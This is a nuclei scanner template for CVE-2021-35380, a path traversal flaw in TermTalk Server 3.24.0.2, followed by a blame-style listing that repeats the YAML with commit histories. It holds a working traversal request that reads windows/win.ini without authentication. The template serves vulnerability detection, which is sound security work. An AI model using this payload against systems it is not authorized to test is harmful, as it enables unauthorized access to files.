nuclei-templates/http/cves/2021/CVE-2021-35380.yaml

id: CVE-2021-35380

info:
  name: TermTalk Server 3.24.0.2 - Local File Inclusion
  author: fxploit
  severity: high
  description: |
    TermTalk Server (TTServer) 3.24.0.2 is vulnerable to file inclusion which allows unauthenticated malicious user to gain access to the files on the remote system by providing the relative path of the file they want to retrieve.
  reference:
    - https://www.swascan.com/solari-di-udine/
    - https://www.exploit-db.com/exploits/50638
    - https://nvd.nist.gov/vuln/detail/CVE-2021-35380
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-35380
    cwe-id: CWE-22
    cpe: cpe:2.3:a:solari:termtalk_server:*:*:*:*:*:*:*:*
    epss-score: 0.05301
  tags: cve,cve2021,termtalk,lfi,unauth,lfr,edb
  metadata:
    max-request: 1

http:
  - method: GET
    path:
      - "{{BaseURL}}/file?valore=../../../../../windows/win.ini"

    matchers:
      - type: word
        part: body
        words:
          - "bit app support"
          - "fonts"
          - "extensions"
        condition: and
Create CVE-2021-35380.yaml Directory Traversal vulnerability exists in Solari di Udine TermTalk Server (TTServer) 3.24.0.2, which lets an unauthenticated malicious user gain access to the files on the remote system by gaining access to the relative path of the file they want to download. 2022-09-03 06:19:17 +00:00			`id: CVE-2021-35380`

			`info:`
Dashboard Content Enhancements (#6526) Dashboard Content Enhancements 2023-01-16 17:41:15 +00:00			`name: TermTalk Server 3.24.0.2 - Local File Inclusion`
Create CVE-2021-35380.yaml Directory Traversal vulnerability exists in Solari di Udine TermTalk Server (TTServer) 3.24.0.2, which lets an unauthenticated malicious user gain access to the files on the remote system by gaining access to the relative path of the file they want to download. 2022-09-03 06:19:17 +00:00			`author: fxploit`
			`severity: high`
Update CVE-2021-35380.yaml 2022-09-05 04:47:57 +00:00			`description: \|`
Dashboard Content Enhancements (#6526) Dashboard Content Enhancements 2023-01-16 17:41:15 +00:00			`TermTalk Server (TTServer) 3.24.0.2 is vulnerable to file inclusion which allows unauthenticated malicious user to gain access to the files on the remote system by providing the relative path of the file they want to retrieve.`
Create CVE-2021-35380.yaml Directory Traversal vulnerability exists in Solari di Udine TermTalk Server (TTServer) 3.24.0.2, which lets an unauthenticated malicious user gain access to the files on the remote system by gaining access to the relative path of the file they want to download. 2022-09-03 06:19:17 +00:00			`reference:`
			`- https://www.swascan.com/solari-di-udine/`
			`- https://www.exploit-db.com/exploits/50638`
			`- https://nvd.nist.gov/vuln/detail/CVE-2021-35380`
			`classification:`
Auto Generated CVE annotations [Mon Sep 5 11:04:01 UTC 2022] :robot: 2022-09-05 11:04:01 +00:00			`cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`
			`cvss-score: 7.5`
Create CVE-2021-35380.yaml Directory Traversal vulnerability exists in Solari di Udine TermTalk Server (TTServer) 3.24.0.2, which lets an unauthenticated malicious user gain access to the files on the remote system by gaining access to the relative path of the file they want to download. 2022-09-03 06:19:17 +00:00			`cve-id: CVE-2021-35380`
Auto Generated CVE annotations [Mon Sep 5 11:04:01 UTC 2022] :robot: 2022-09-05 11:04:01 +00:00			`cwe-id: CWE-22`
Added CPE and EPSS Score to CVE Templates 2023-04-12 10:55:48 +00:00			`cpe: cpe:2.3:a:solari:termtalk_server::::::::`
			`epss-score: 0.05301`
Update CVE-2021-35380.yaml 2022-12-07 06:01:39 +00:00			`tags: cve,cve2021,termtalk,lfi,unauth,lfr,edb`
Added max request counter of each template 2023-04-28 08:11:21 +00:00			`metadata:`
			`max-request: 1`
Create CVE-2021-35380.yaml Directory Traversal vulnerability exists in Solari di Udine TermTalk Server (TTServer) 3.24.0.2, which lets an unauthenticated malicious user gain access to the files on the remote system by gaining access to the relative path of the file they want to download. 2022-09-03 06:19:17 +00:00
Refactoring the directory structure based on protocols (#7137) * moving http templates * updated cves.json * moved network CVEs * updated scripts * updated workflows * updated requests to http * replaced network to tcp --------- Co-authored-by: sandeep <8293321+ehsandeep@users.noreply.github.com> 2023-04-27 04:28:59 +00:00			`http:`
Create CVE-2021-35380.yaml Directory Traversal vulnerability exists in Solari di Udine TermTalk Server (TTServer) 3.24.0.2, which lets an unauthenticated malicious user gain access to the files on the remote system by gaining access to the relative path of the file they want to download. 2022-09-03 06:19:17 +00:00			`- method: GET`
			`path:`
			`- "{{BaseURL}}/file?valore=../../../../../windows/win.ini"`

			`matchers:`
			`- type: word`
Update CVE-2021-35380.yaml 2022-09-05 04:47:57 +00:00			`part: body`
Create CVE-2021-35380.yaml Directory Traversal vulnerability exists in Solari di Udine TermTalk Server (TTServer) 3.24.0.2, which lets an unauthenticated malicious user gain access to the files on the remote system by gaining access to the relative path of the file they want to download. 2022-09-03 06:19:17 +00:00			`words:`
			`- "bit app support"`
			`- "fonts"`
			`- "extensions"`
			`condition: and`